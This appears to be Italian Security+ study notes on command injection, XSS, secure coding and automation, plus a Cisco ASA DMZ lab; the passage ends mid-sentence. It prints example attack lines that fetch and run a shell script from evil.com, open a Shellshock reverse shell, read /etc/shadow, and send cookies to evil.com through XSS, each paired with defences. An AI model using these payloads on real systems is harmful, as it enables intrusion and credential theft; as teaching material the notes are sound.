Request normale:\nGET /check?host=google.com → ping -c 4 google.com ✅ Attacco con semicolon — il ; termina il comando ping e ne avvia un secondo:\nGET /check?host=google.com;cat+/etc/passwd → ping -c 4 google.com; cat /etc/passwd ← esegue entrambi Attacco con pipe — passa l'output del primo al secondo:\nGET /check?host=google.com|curl+http://evil.com/shell.sh|sh → ping -c 4 google.com | curl ... | sh ← scarica ed esegue uno script Operatori shell che permettono injection:\nOperatore Significato Esempio attacco ; esegui il prossimo comando host; cat /etc/passwd | pipe output al prossimo host | sh \u0026amp;\u0026amp; esegui se il primo ha successo host \u0026amp;\u0026amp; id || esegui se il primo fallisce x || whoami ` esegui e sostituisci inline `id` $() command substitution $(cat /etc/shadow) Difesa — livello 1: usa API native invece della shell:\n// SICURO — usa fsockopen o una libreria invece di ping tramite shell // Non serve mai richiamare ping via shell — usa ICMP direttamente o libreria // Per DNS lookup: $result = dns_get_record($host, DNS_A); // ✅ nessuna shell coinvolta // Per SSH key generation: // ❌ VULNERABILE: shell_exec(\u0026#34;ssh-keygen -t rsa -f \u0026#34; . $filename); // ✅ SICURO: usa phpseclib o genera con openssl_pkey_new() Difesa — livello 2: se devi usare la shell, escapeshellarg():\n// Ancora non ideale ma almeno sicuro $host = escapeshellarg($_GET[\u0026#39;host\u0026#39;]); // escapeshellarg() wrappa in singole virgolette e fa l\u0026#39;escape di qualsiasi \u0026#39; interno // Input: google.com;cat /etc/passwd // Output: \u0026#39;google.com;cat /etc/passwd\u0026#39; ← shell lo tratta come stringa, non come comandi $output = shell_exec(\u0026#34;ping -c 4 \u0026#34; . $host); Difesa — livello 3: allowlist:\n// Permetti solo hostname che matchano il pattern atteso if (!preg_match(\u0026#39;/^[a-zA-Z0-9.\\-]+$/\u0026#39;, $_GET[\u0026#39;host\u0026#39;])) { http_response_code(400); exit(\u0026#39;Invalid host\u0026#39;); } // Caratteri shell (;|\u0026amp;$`\\) non matchano mai — bloccati prima di arrivare alla shell Caso reale — Shellshock (CVE-2014-6271):\nNel 2014 fu scoperto che Bash eseguiva automaticamente funzioni definite nelle variabili d'ambiente — incluse righe aggiuntive dopo la definizione. CGI web scripts passavano l'HTTP User-Agent come variabile d'ambiente a script Bash:\nUser-Agent: () { :; }; echo \u0026#34;PWNED\u0026#34;; /bin/bash -i \u0026gt;\u0026amp; /dev/tcp/evil.com/4444 0\u0026gt;\u0026amp;1 Bash parsava la variabile, trovava () { :; } (definizione di funzione), poi eseguiva automaticamente il resto. Migliaia di server esposti in ore.\nExam trap Gibson cita esplicitamente Command Injection nella sezione Exam Topic Review come uno degli attacchi prevenibili con input validation — insieme a Buffer Overflow, SQL Injection e XSS. Se vedi una domanda su \u0026quot;cosa previene input validation\u0026quot;, Command Injection è sempre tra le risposte corrette.\nVettore applicazione web o servizio — input utente passato a funzione shell senza validazione Causa concatenazione di input non sanitizzato in comandi shell (shell_exec, system, exec, popen) Effetto voluto eseguire comandi OS arbitrari nel contesto del processo server — lettura file, reverse shell, lateral movement Difesa evitare funzioni shell quando possibile; escapeshellarg() se necessario; allowlist input; principio del minimo privilegio Indicatore processi inattesi avviati dal processo web (es. apache lancia curl, bash, nc); output anomalo nei log; connessioni uscenti inattese CIA Triad Confidentiality + Integrity + Availability — accesso completo al sistema se l'attaccante ottiene RCE Scope sistema — tutti i file e processi accessibili all'utente che esegue il web server Cross-Site Scripting # mindmap root((XSS Cross-Site Scripting)) Reflected payload in URL parameter server echoes it back phishing link required Server perimeter WAF can inspect URL Stored payload saved in DB served to all visitors no phishing needed Persistent and dangerous comment forum post DOM-based client side only fragment hash never sent server blind to it innerHTML vs textContent innerHTML executes textContent safe Defense CSP blocks external scripts HttpOnly cookie script cannot steal session Output encoding validate input encode output XSS (Cross-Site Scripting) — vulnerabilità web che permette di iniettare script in pagine che altri utenti visualizzeranno. Il browser della vittima esegue lo script come se fosse codice legittimo del sito. \u0026quot;Cross-site\u0026quot; perché lo script proviene dall'attaccante ma viene eseguito nel contesto del sito della vittima.\nReflected XSS (non-persistente)\nLo script è nell'URL — il server lo riceve e lo \u0026quot;riflette\u0026quot; nella risposta HTML. Non viene salvato nulla. L'attaccante manda il link via phishing email o lo posta come commento.\n# URL malevolo mandato via email https://banca.com/search?q=\u0026lt;script\u0026gt;document.location=\u0026#39;https://evil.com?c=\u0026#39;+document.cookie\u0026lt;/script\u0026gt; # vittima clicca → browser manda la request al server # server risponde con l\u0026#39;HTML che include lo script nell\u0026#39;URL # browser esegue lo script → cookie inviato a evil.com Stored XSS (persistente)\nLo script viene salvato nel database — colpisce ogni utente che carica la pagina.\n\u0026lt;!-- attaccante posta questo come commento su un blog --\u0026gt; \u0026lt;script\u0026gt;fetch(\u0026#39;https://evil.com/steal?c=\u0026#39; + document.cookie)\u0026lt;/script\u0026gt; \u0026lt;!-- il commento viene salvato nel DB ogni utente che apre la pagina esegue lo script cookie di sessione → evil.com → session hijacking --\u0026gt; DOM-based XSS\nLo script manipola il DOM client-side senza mai passare dal server — bypassa il server-side filtering.\nIl fragment #... di un URL non viene mai mandato al server — lo vede solo il browser.\n// codice vulnerabile nella pagina document.getElementById(\u0026#39;msg\u0026#39;).innerHTML = location.hash.substring(1); URL normale:\nhttps://sito.com/page#Ciao → browser scrive \u0026#34;Ciao\u0026#34; nel div ✅ URL malevolo:\nhttps://sito.com/page#\u0026lt;img src=x onerror=\u0026#34;alert(\u0026#39;XSS\u0026#39;)\u0026#34;\u0026gt; → browser scrive il tag HTML nel div → img non carica (src=x non esiste) → onerror scatta → esegue alert() Il server riceve solo https://sito.com/page — non vede mai #\u0026lt;img src=x onerror=...\u0026gt;. Il filtro server-side non ha nulla da filtrare.\nLa difesa cambia: evitare innerHTML con dati non trusted — usare textContent:\n// vulnerabile — renderizza come HTML element.innerHTML = location.hash.substring(1); // sicuro — renderizza come testo element.textContent = location.hash.substring(1); Matrice comparativa:\nReflected Stored DOM-based Payload passa dal server? sì sì no Dove vive il payload URL (una request) database (persistente) fragment #, DOM client-side Server-side filtering funziona? sì sì no — il server non lo vede Perimetro da difendere server server endpoint (browser) Chi viene colpito chi clicca il link tutti gli utenti del sito chi clicca il link Difesa principale input validation, output encoding input validation, output encoding textContent invece di innerHTML Difese\nInput validation → blocca \u0026lt;script\u0026gt; prima che entri nel DB Output encoding → \u0026lt;script\u0026gt; → \u0026amp;lt;script\u0026amp;gt; (testo, non codice) HttpOnly cookie → document.cookie non espone il cookie CSP script-src → browser blocca fetch verso evil.com OWASP ESAPI (Enterprise Security API) — libreria open source che implementa output encoding e le 10+ regole OWASP contro XSS, disponibile per Java, PHP, .NET.\nLa difesa completa usa tutti e quattro i layer — ciascuno copre il caso in cui gli altri falliscono.\nVettore applicazione web — input non validato renderizzato come HTML/JS Causa assenza di input validation e output encoding — il browser non distingue dati da codice Effetto voluto rubare cookie di sessione, reindirizzare utenti, keylogging nel browser Difesa input validation, output encoding (HTML escaping), CSP, HttpOnly sui cookie, OWASP ESAPI Indicatore \u0026lt;script\u0026gt; o javascript: nei campi input o URL, alert WAF su pattern XSS CIA Triad Confidentiality — furto sessione e credenziali; Integrity — contenuto pagina modificato per altri utenti Scope Stored: tutti gli utenti del sito; Reflected/DOM: solo l'utente che clicca il link Automation and Scripting for Secure Operations # mindmap root((Automation and Scripting)) Use Cases User and Resource Provisioning onboarding offboarding Guardrails Security Groups access control auto-update Ticket Creation Escalation alert to ticket to PagerDuty CI CD Testing push SAST test deploy API Integrations Wazuh alert to Jira Benefits Efficiency Time Saving no manual repetitive tasks Enforce Baselines consistent across all systems Workforce Multiplier small team manages more Secure Scaling security grows with infra Considerations Complexity new attack surface Cost tooling and training Single Point of Failure automation down equals all down Technical Debt old scripts become vulns Ongoing Supportability must be maintained Lo scripting per l'automazione è centrale nelle security operations. I SIEM (come Wazuh) usano script per raccogliere e analizzare log — quando rilevano qualcosa di interessante, triggerano script di risposta automatica (inviare email, bloccare un IP, aprire un ticket).\nSOAR (Security Orchestration, Automation and Response) — approfondito in cap 11 — gestisce eventi di sicurezza di basso livello con script preconfigurati, senza richiedere intervento umano per ogni alert. Libera gli analisti per i casi complessi.\nAutomation and Scripting Use Cases # mindmap root((Automation Use Cases)) Provisioning User Provisioning onboarding offboarding no manual steps Resource Provisioning infra on demand Controls Guardrails policy enforcement auto Security Groups firewall rules auto-updated Enable Disable Services inactive accounts auto-disabled Response Ticket Creation alert becomes ticket Escalation severity routes to right team Dev and Integration CI CD and Testing code to deploy automatically API Integrations tools talk to each other I casi d'uso da conoscere per l'esame:\nUse Case Cosa automatizza Beneficio security Esempio concreto User provisioning creazione, aggiornamento e rimozione account e permessi previene accessi non autorizzati, mantiene least privilege nuovo dipendente → account AD + gruppi; dipendente licenziato → accesso revocato in secondi Resource provisioning creazione, configurazione e decommission di VM, storage, reti ambienti standardizzati, riduce errori umani e configuration drift Terraform crea infra cloud identica ad ogni deploy; Ansible applica hardening su tutti i server Guardrails enforcement automatico di security policy e best practice policy applicate in modo consistente — nessuna eccezione per distrazione AWS SCP blocca automaticamente creazione di bucket S3 pubblici Security groups gestione e aggiornamento degli access control su risorse di rete controlli aggiornati in risposta ai cambiamenti del threat landscape script aggiorna firewall rules quando emerge una nuova minaccia Ticket creation apertura automatica di incident ticket al rilevamento di un evento problemi segnalati e assegnati rapidamente, nessun alert ignorato alert Wazuh livello 12 → ticket Jira assegnato al SOC team Escalation escalation a team appropriato in base a criteri predefiniti tempi di risposta ridotti, impatto degli incidenti limitato alert critico → PagerDuty → SOC L2 svegliato di notte Enable/disable services abilita/disabilita servizi e accessi in base a ruoli, policy, risk assessment riduce attack surface limitando accessi non necessari account inattivo 90 giorni → disabilitato; VPN solo in orario lavorativo CI/CD e testing review, test e deploy del codice in modo sicuro e ripetibile previene introduzione di vulnerabilità, mantiene compliance GitHub Actions: push → SAST → test → deploy solo se tutto verde API integrations connette e fa comunicare tool di security in real-time dati condivisi tra piattaforme, operazioni coordinate alert Wazuh → apre ticket + aggiorna blocklist via API automaticamente Important Exam tip: i casi d'uso da ricordare sono — user provisioning, resource provisioning, guardrails, security groups, ticket creation, escalation, enable/disable services, continuous integration e testing, API integrations.\nBenefits of Automation and Scripting # mindmap root((Automation Benefits)) Efficiency Time Saving repetitive tasks eliminated Faster Reaction Time detect respond in seconds Consistency Enforce Baselines same config everywhere Standard Configurations no manual drift Scale Secure Scaling security grows with systems Workforce Multiplier small team manages much more People Employee Retention no boring repetitive work focus on high value tasks Beneficio Cosa significa Impatto concreto Efficiency / Time saving riduce il tempo richiesto per task ripetitivi — provisioning, risposta agli incidenti i team si concentrano su attività strategiche invece che su operazioni manuali Enforcing baselines applica security baseline e policy in modo consistente su tutta l'infrastruttura deviazioni dalla configurazione sicura vengono rilevate e corrette rapidamente Standard infrastructure configurations deploy e gestione automatizzata mantiene configurazioni standard riduce misconfiguration e vulnerabilità introdotte da processi manuali Scaling sicuro le misure di sicurezza vengono applicate automaticamente anche quando sistemi e utenti crescono nessun gap di sicurezza durante la crescita — l'automation scala con l'infrastruttura Employee retention automatizza task ripetitivi e poco stimolanti i dipendenti si concentrano su lavoro ad alto valore — maggiore soddisfazione e retention Reaction time processi automatizzati rilevano, segnalano e rispondono agli incidenti più velocemente impatto ridotto, tempo di risposta minimizzato Workforce multiplier un team piccolo gestisce più sistemi e processi senza personale aggiuntivo risparmio sui costi, allocazione efficiente delle risorse Important Exam tip: i benefici chiave sono — efficiency/time saving, enforcing baselines, standard configurations, scaling sicuro, employee retention, reaction time, workforce multiplier.\nOther Considerations # mindmap root((Automation Considerations)) Complexity new attack surface document everything Cost tooling infrastructure training ROI analysis before starting Single Point of Failure automation down equals all down redundancy and fallback Technical Debt old scripts become vulnerabilities regular maintenance schedule Ongoing Supportability must be maintainable long term team training documentation Considerazione Rischio Come mitigare Complexity l'automazione aggiunge complessità all'infrastruttura — può introdurre nuove vulnerabilità assicurarsi che la complessità sia gestibile; documentare tutto Cost investimento iniziale significativo in tool, infrastruttura e training valutare costi/benefici prima di avviare un progetto di automazione Single point of failure eccessiva dipendenza dall'automazione crea un punto di rottura unico stabilire ridondanze e meccanismi di fallback per i processi critici Technical debt script e integrazioni che invecchiano diventano problemi o vulnerabilità pianificare manutenzione e aggiornamenti regolari degli script Ongoing supportability le soluzioni di automazione devono essere manutenibili nel lungo periodo training del team, documentazione, monitoraggio continuo degli script Important Exam tip: le considerazioni critiche nell'implementare automation sono — complexity, cost, single point of failure, technical debt, ongoing supportability.\nExam Topic Review # mindmap root((Exam Topic Review)) Network Attacks DDoS Reflected third-party servers Amplified reflection plus amplification Forgery and Spoofing Fake identity cert file object Impersonation On-Path SSL Stripping HTTPS degraded to HTTP Certificate warnings SSH host key warning DNS Attacks DNS Poisoning corrupt DNS server cache Pharming hosts file local Domain Hijacking registrar account URL Redirection Replay Attacks Credential replay Timestamps thwart it Sequence numbers Secure Coding Input Validation Server-side cannot be bypassed Client-side bypassable Prevents SQLi XSS Buffer Overflow Race Conditions Two processes same data Lock data before access Error Handling Generic to user Detailed in logs Protects OS integrity Differential errors enable username enum fix: same message for all auth failures Code Signing Digital signature in cert Authenticate software Code Analysis Static SAST Dynamic Fuzzing Stress Test Sandboxing Model Verification SQL Injection or 1 equals 1 Stored procedures defend Buffer Overflow Unexpected input Exposes system memory DoS and privilege escalation Directory Traversal Injection via path XSS Inject scripts in webpages Automation Use Cases User and resource provisioning Guardrails security groups Ticket creation escalation CI CD testing API integrations Benefits Efficiency and time saving Enforce baselines Workforce multiplier Secure scaling Considerations Complexity cost Single point of failure Technical debt Ongoing supportability Identifying Network Attacks # DDoS attacks are DoS attacks from multiple computers. DDoS attacks typically include sustained, abnormally high network traffic, high processor usage, or high memory usage resulting in resource exhaustion. Major variants of DDoS attacks include reflected attacks, which involve using third-party servers to redirect traffic to the target, and amplified attacks, which combine reflection techniques with amplification to generate an even greater volume of traffic directed at the target. Forgery attacks occur when an attacker creates a fake identity, certificate, file, or other object in an attempt to fool an unsuspecting user or system. Spoofing is an example of forgery that occurs when one person or entity impersonates or masquerades as someone or something else. On-path attacks are a form of interception or active eavesdropping. Sophisticated on-path attacks establish secure channels and users may see certificate warnings indicating an on-path attack. SSH will give users a warning if it detects a man-in-the-middle attack. SSL stripping is an on-path attack that attempts to convert encrypted HTTPS sessions into unencrypted HTTP sessions. DNS poisoning attacks corrupt or modify DNS data stored on a DNS server and can redirect users to malicious sites. A pharming attack attempts to manipulate the DNS name resolution process by storing incorrect DNS records on a client system. URL redirection causes a web browser to go to a different URL when a user visits a website. Domain hijacking attacks allow an attacker to change a domain name registration without permission from the owner. Owners learn of the hijack after they've lost access to the site. Replay attacks capture data in a session. After manipulating the capture, they send it back on the network as a session replay. Timestamps and sequence numbers thwart replay attacks. Summarizing Secure Coding Concepts # A common coding error in web-based applications is the lack of input validation. Input validation checks the data before passing it to the application and prevents many types of attacks, including buffer overflow, SQL injection, command injection, and cross-site scripting attacks.\nServer-side input validation is the most secure. Attackers can bypass client-side input validation but not server-side input validation. It is common to use both.\nRace conditions allow two processes to access the same data at the same time, causing inconsistent results. Problems can be avoided by locking data before accessing it.\nError-handling routines within applications can prevent application failures and protect the integrity of the operating systems. Error messages shown to users should be generic, but the application should log detailed information on the error. A specific failure: differential error messages on login pages (different responses for \u0026quot;user not found\u0026quot; vs \u0026quot;wrong password\u0026quot;) enable username enumeration. Remediation: return a single generic message for all authentication failures (\u0026quot;Invalid username or password\u0026quot;).\nCode signing uses a digital signature within a certificate to authenticate and validate software code.\nCode quality and testing techniques include static code analysis, dynamic analysis (such as fuzzing), stress testing, sandboxing, and model verification.\nSQL injection attacks provide information about a database and can allow an attacker to read, modify, and delete data within a database. They commonly use the phrase ' or 1=1 to trick the database server into providing information. Input validation and stored procedures provide the best protection against SQL injection attacks.\nSecure cookies have an attribute set that instructs web browsers to only send them over encrypted connections, protecting them from eavesdropping attacks.\nA buffer overflow occurs when an application receives more input, or different input, than it expects. The result is an error that exposes system memory that would otherwise be protected and inaccessible.\nDirectory traversal is a type of injection attack that attempts to access a file by including the full directory path or traversing the directory structure on a computer.\nCross-site scripting (XSS) is a web application vulnerability that allows attackers to inject scripts into webpages.\nAutomation and Orchestration for Secure Operations # Automation and orchestration techniques allow IT and security teams to streamline processes, minimize human error, and ensure a consistent approach to managing various security-related tasks. The common use cases for automation and scripting in security operations are user provisioning, resource provisioning, guardrails, security groups, ticket creation, escalation, enabling/disabling services and access, continuous integration and testing, and the use of APIs to create integrations. The key benefits of automation and scripting in security operations include improved efficiency and time saving, consistent enforcement of baselines, standardized infrastructure configurations, secure scaling, increased employee retention, faster reaction times, and serving as a workforce multiplier. When implementing automation and scripting in security operations, it is essential to consider the potential complexity, cost, single points of failure, technical debt, and ongoing supportability to ensure long-term success and maintainability. Scenario Reale # Risorse # Collegato a # network — attacchi di rete cap-06-threat-actors-malware — threat actors e vettori di attacco cap-08-risk-management-tools — vulnerability scanning e pen test ","date":"9 giugno 2026","externalUrl":null,"permalink":"/dump/certificazioni/security-plus/libro/cap-07-advanced-attacks/","section":"Dump","summary":"Attacchi di rete avanzati (SYN flood, DNS attacks, on-path, replay) e secure coding: input validation, injection, memory vulnerabilities, XSS, code signing, scripting sicuro. Cap 7 Gibson SY0-701.","title":"Cap 07 - Protecting Against Advanced Attacks","type":"dump"},{"content":"","date":"9 giugno 2026","externalUrl":null,"permalink":"/dump/certificazioni/","section":"Dump","summary":"","title":"Certificazioni","type":"dump"},{"content":" ","date":"9 giugno 2026","externalUrl":null,"permalink":"/dump/","section":"Dump","summary":" ","title":"Dump","type":"dump"},{"content":"","date":"9 giugno 2026","externalUrl":null,"permalink":"/tags/network-defense/","section":"Tags","summary":"","title":"Network-Defense","type":"tags"},{"content":"","date":"9 giugno 2026","externalUrl":null,"permalink":"/tags/","section":"Tags","summary":"","title":"Tags","type":"tags"},{"content":" ","date":"8 giugno 2026","externalUrl":null,"permalink":"/blog/","section":"Blog","summary":" ","title":"Blog","type":"blog"},{"content":" TL;DR Una DMZ e' una zona di mezzo: esposta verso internet, isolata dalla LAN Due firewall significa che anche se Sofia/nginx viene compromessa, Giulia/MySQL e' ancora protetta da FW2 Su ASA il traffico da security-level basso verso alto e' bloccato per default - non serve scrivere nessuna regola di blocco ▶ $ history nameif - assegna nome logico all'interfaccia ASA (outside, dmz, inside) security-level - livello di fiducia: 0=esterno, 50=DMZ, 100=LAN route outside 0.0.0.0 0.0.0.0 x.x.x.x - default route su ASA show nameif - interfacce ASA con security level Perche' questo lab # corsobitcoin.com e' una piattaforma di corsi online. Ha iscritti, sessioni, video, dati di pagamento.\nSofia/nginx e' il web server nella DMZ. Riceve le richieste HTTP, serve il frontend, interroga il database. Giulia/MySQL e' il database nella LAN privata. Non deve essere mai raggiungibile da internet. Browser studente | GET /lezioni/bitcoin-101 HTTP/1.1 FW1 \u0026lt;- vede solo HTTP/HTTPS sulla porta 80/443 | Sofia/nginx \u0026lt;- verifica la sessione, chiede al DB | SELECT * FROM lezioni WHERE user_id=99 FW2 \u0026lt;- vede solo MySQL sulla porta 3306 da Sofia | Giulia/MySQL \u0026lt;- risponde con i dati della lezione Se un attaccante compromette Sofia/nginx, FW2 blocca tutto tranne MySQL sulla 3306. Il danno rimane nella DMZ. Questo e' il motivo per cui esistono due firewall.\nLa topologia # Dispositivo Ruolo PC-Kali attaccante esterno, simula internet SW-EXT switch zona esterna, VLAN 10 FW1 (ASA 5506-X) primo firewall, outside(sec:0) e dmz(sec:50) SW-DMZ switch DMZ, VLAN 20 Sofia/nginx web server nella DMZ FW2 (ASA 5506-X) secondo firewall, dmz(sec:50) e inside(sec:100) SW-LAN switch LAN interna, VLAN 30 Giulia/MySQL database nella LAN privata Riferimento rapido # FW1 Gig1/1 outside sec:0 10.0.0.2/30 -\u0026gt; Kali Gig1/2 dmz sec:50 10.10.10.1/29 -\u0026gt; SW-DMZ FW2 Gig1/1 dmz sec:50 10.10.10.3/29 -\u0026gt; SW-DMZ Gig1/2 inside sec:100 10.30.30.1/30 -\u0026gt; SW-LAN HOSTS Kali 10.0.0.1/30 gw: 10.0.0.2 Sofia/nginx 10.10.10.2/29 gw: 10.10.10.1 Giulia/MySQL 10.30.30.2/30 gw: 10.30.30.1 ROTTE FW1: route outside 0.0.0.0 0.0.0.0 10.0.0.1 FW1: route dmz 10.30.30.0 255.255.255.252 10.10.10.3 FW2: route dmz 0.0.0.0 0.0.0.0 10.10.10.1 Il security-level indica quanto mi fido di quella zona, non quanto traffico passa.\nsecurity 0 = non mi fido di nessuno che viene da li security 50 = fiducia parziale security 100 = mi fido completamente La regola e': il traffico fluisce liberamente da chi e' piu' fidato verso chi e' meno fidato. Da 100 verso 0 passa. Da 0 verso 100 e' bloccato.\nQuindi security 0 su outside non significa \u0026quot;passa tutto\u0026quot; - significa \u0026quot;non mi fido di nessuno che arriva da outside\u0026quot;. E' la zona piu' pericolosa.\nSchema IP # Zona VLAN Subnet Dispositivo IP Esterna 10 10.0.0.0/30 PC-Kali 10.0.0.1 Esterna 10 10.0.0.0/30 FW1 outside 10.0.0.2 DMZ 20 10.10.10.0/29 FW1 dmz 10.10.10.1 DMZ 20 10.10.10.0/29 Sofia/nginx 10.10.10.2 DMZ 20 10.10.10.0/29 FW2 dmz 10.10.10.3 LAN 30 10.30.30.0/30 FW2 inside 10.30.30.1 LAN 30 10.30.30.0/30 Giulia/MySQL 10.30.30.2 La DMZ usa /29 (6 host utili) perche' ci sono tre dispositivi: FW1, Sofia/nginx e FW2.\nFW1 - configurazione # Su ASA ogni interfaccia ha un nome logico (nameif) e un livello di sicurezza (security-level). Non basta ip address come sui router. Il security-level e' il cuore dell'ASA: decide in automatico cosa bloccare e cosa lasciar passare, senza che io scriva una sola regola.\nnameif security-level Significato Traffico in uscita outside 0 non mi fido di nessuno che viene da qui bloccato verso DMZ e LAN (sale di livello) dmz 50 zona semi-fidata, esposta a internet passa verso outside (scende), bloccato verso LAN (sale) inside 100 zona completamente fidata passa verso DMZ e outside (scende sempre) Il security-level non indica quanto traffico passa - indica quanto mi fido di quella zona. Il traffico fluisce liberamente solo scendendo di livello (da 100 verso 0). Salire di livello e' sempre bloccato per default.\n# entra in modalita\u0026#39; privilegiata - necessario per modificare la configurazione enable # entra in modalita\u0026#39; configurazione globale conf t # seleziona l\u0026#39;interfaccia fisica collegata a SW-EXT (verso Kali) interface GigabitEthernet1/1 # assegna il nome logico \u0026#34;outside\u0026#34; - da questo momento ASA sa che questa e\u0026#39; # la zona non fidata. Tutte le ACL e le rotte usano questo nome, non Gig1/1 nameif outside # imposta il livello di fiducia a 0: il piu\u0026#39; basso possibile. # il traffico da questa interfaccia verso zone con security-level piu\u0026#39; alto # sara\u0026#39; bloccato per default security-level 0 # assegna l\u0026#39;IP su questa interfaccia. /30 perche\u0026#39; il link verso Kali # ha solo due host: Kali (10.0.0.1) e FW1 (10.0.0.2) ip address 10.0.0.2 255.255.255.252 # le interfacce ASA nascono spente (shutdown). Senza questo comando # l\u0026#39;interfaccia e\u0026#39; fisicamente attiva ma non processa traffico no shutdown Appena scrivo nameif outside l'ASA risponde:\nINFO: Security level for \u0026#34;outside\u0026#34; set to 0 by default. Lo sa gia' che outside = 0. La riga security-level 0 e' ridondante, ma la scrivo per capire cosa sta succedendo.\nCompare anche Waiting for the earlier webvpn instance to terminate - artefatto di Packet Tracer, non un errore. Si ignora.\n# seleziona l\u0026#39;interfaccia fisica collegata a SW-DMZ (verso Sofia/nginx e FW2) interface GigabitEthernet1/2 # nome logico \u0026#34;dmz\u0026#34; - la zona di mezzo. Sofia/nginx sta qui nameif dmz # livello 50: piu\u0026#39; alto di outside (0), piu\u0026#39; basso di inside (100). # Sofia/nginx puo\u0026#39; rispondere verso Kali (da 50 verso 0: permesso). # Kali non puo\u0026#39; entrare nella DMZ senza una regola esplicita (da 0 verso 50: bloccato) security-level 50 # /29 perche\u0026#39; nella DMZ ci sono tre dispositivi: FW1 (10.10.10.1), # Sofia/nginx (10.10.10.2) e FW2 (10.10.10.3). Il /30 avrebbe solo 2 host ip address 10.10.10.1 255.255.255.248 no shutdown # torna in modalita\u0026#39; configurazione globale per aggiungere le rotte exit # default route: tutto quello che FW1 non conosce lo manda verso Kali (10.0.0.1). # \u0026#34;outside\u0026#34; e\u0026#39; il nameif dell\u0026#39;interfaccia da cui uscire route outside 0.0.0.0 0.0.0.0 10.0.0.1 # rotta specifica: per raggiungere la LAN (10.30.30.0/30) chiedi a FW2 (10.10.10.3). # FW1 non e\u0026#39; direttamente collegato alla LAN - deve passare per FW2 route dmz 10.30.30.0 255.255.255.252 10.10.10.3 La sezione Routing non esiste nella GUI per l'ASA in Packet Tracer. Per verificare: show route da CLI.\nFW2 - configurazione # FW2 e' il secondo firewall - quello che protegge Giulia/MySQL dalla DMZ. Ha due interfacce: una nella DMZ e una nella LAN. Ogni interfaccia ha il suo IP, il suo nome logico e il suo security-level.\n# entra in modalita\u0026#39; privilegiata, come su FW1 enable # entra in modalita\u0026#39; configurazione globale conf t # seleziona la prima porta fisica di FW2 - quella collegata a SW-DMZ. # attenzione: e\u0026#39; sempre Gig1/1 perche\u0026#39; e\u0026#39; la prima porta del firewall, # ma stavolta non e\u0026#39; la porta esterna - e\u0026#39; la porta verso la DMZ interface GigabitEthernet1/1 # questa interfaccia si affaccia sulla DMZ - stessa zona di FW1 Gig1/2. # usiamo \u0026#34;dmz\u0026#34; come nameif per coerenza con FW1 nameif dmz # livello 50: la DMZ e\u0026#39; semi-fidata. Sofia/nginx potrebbe essere compromessa, # quindi non ci fidiamo ciecamente di tutto quello che arriva da li security-level 50 # l\u0026#39;IP di FW2 nella DMZ. e\u0026#39; il terzo host della subnet 10.10.10.0/29: # 10.10.10.1 = FW1, 10.10.10.2 = Sofia/nginx, 10.10.10.3 = FW2 (questo) # quando FW1 deve mandare traffico verso la LAN, lo spedisce a questo indirizzo ip address 10.10.10.3 255.255.255.248 no shutdown # seleziona la seconda porta fisica - quella collegata a SW-LAN verso Giulia/MySQL interface GigabitEthernet1/2 # questa interfaccia si affaccia sulla LAN interna - zona completamente fidata nameif inside # livello 100: il massimo. il traffico da inside verso dmz passa liberamente # (scende da 100 a 50). il traffico da dmz verso inside e\u0026#39; bloccato per default # (salirebbe da 50 a 100) - serve una ACL esplicita per aprirlo security-level 100 # l\u0026#39;IP di FW2 nella LAN. /30 perche\u0026#39; ci sono solo due host: # FW2 (10.30.30.1) e Giulia/MySQL (10.30.30.2) ip address 10.30.30.1 255.255.255.252 no shutdown # torna in modalita\u0026#39; configurazione globale per aggiungere la rotta exit # default route di FW2: tutto quello che non conosce va verso FW1 (10.10.10.1). # FW2 non sa niente di internet - sa solo che per uscire deve passare da FW1. # \u0026#34;dmz\u0026#34; e\u0026#39; il nameif dell\u0026#39;interfaccia da cui uscire per raggiungere FW1 route dmz 0.0.0.0 0.0.0.0 10.10.10.1 FW2 ha una sola rotta perche' non ha bisogno di sapere altro: tutto cio' che non e' nella sua LAN esce verso FW1. E' FW1 che sa come raggiungere internet.\nIl show running-config conferma: Gig1/1 nameif dmz sec:50, Gig1/2 nameif inside sec:100. Le interfacce Gig1/3 e successive sono shutdown - porte fisiche non collegate, le ignoriamo.\nHost - configurazione IP # Desktop -\u0026gt; IP Configuration su ogni PC.\nPC-Kali:\nIP: 10.0.0.1 Mask: 255.255.255.252 GW: 10.0.0.2 Sofia/nginx:\nIP: 10.10.10.2 Mask: 255.255.255.248 GW: 10.10.10.1 Giulia/MySQL:\nIP: 10.30.30.2 Mask: 255.255.255.252 GW: 10.30.30.1 VLAN - configurazione switch # Senza VLAN tutto e' sulla VLAN 1 di default - Kali, Sofia/nginx e Giulia/MySQL sarebbero sullo stesso broadcast domain. Chiunque potrebbe vedere il traffico di chiunque a livello 2. Le VLAN creano l'isolamento fisico che i firewall da soli non garantiscono.\nLe VLAN proteggono da te stesso e dai tuoi colleghi. Il firewall protegge da internet.\nSW-EXT - VLAN 10 # # entra in modalita\u0026#39; privilegiata enable # entra in modalita\u0026#39; configurazione globale conf t # seleziona la porta fisica Fa0/1 - quella collegata a PC-Kali interface FastEthernet0/1 # imposta la porta in modalita\u0026#39; access: significa che questa porta # appartiene a una sola VLAN e i frame che escono non hanno il tag 802.1Q. # il PC collegato non sa di essere in una VLAN - la gestisce lo switch switchport mode access # assegna questa porta alla VLAN 10. # il messaggio \u0026#34;Access VLAN does not exist. Creating vlan 10\u0026#34; e\u0026#39; normale: # la VLAN non esisteva ancora, lo switch la crea automaticamente switchport access vlan 10 exit # seleziona la porta Fa0/2 - quella collegata a FW1 (Gig1/1 outside) interface FastEthernet0/2 switchport mode access # stessa VLAN 10: Kali e FW1 sono nella stessa zona esterna # e devono vedersi a livello 2 switchport access vlan 10 exit # esci da config per usare show (show non funziona in modalita\u0026#39; config) exit # mostra un riepilogo di tutte le VLAN configurate sullo switch e le porte assegnate show vlan brief L'output di show vlan brief conferma:\nVLAN 10 attiva con Fa0/1 e Fa0/2 - Kali e FW1 isolati nella loro zona VLAN 1 default con tutte le altre porte - non collegate a niente di rilevante Le VLAN 1002-1005 sono VLAN di sistema di Cisco, si ignorano.\nQuesta tabella mostra una cosa importante: la VLAN e' associata alla porta dello switch, non al PC.\nFa0/1 VLAN 10 MAC 0010.11D1.C901 \u0026lt;- Kali, in VLAN 10 senza saperlo Fa0/2 VLAN 10 MAC 0010.11D1.C902 \u0026lt;- FW1 outside, stessa VLAN Fa0/3 VLAN 1 MAC 0010.11D1.C903 \u0026lt;- PC intruso, VLAN 1 di default Kali non ha nessuna configurazione VLAN. Non sa di essere in VLAN 10. E' lo switch che tiene traccia di quale porta appartiene a quale VLAN. Quando un frame arriva su Fa0/1, lo switch sa che quella porta e' VLAN 10 e tratta il frame di conseguenza.\nIl match non e' tra 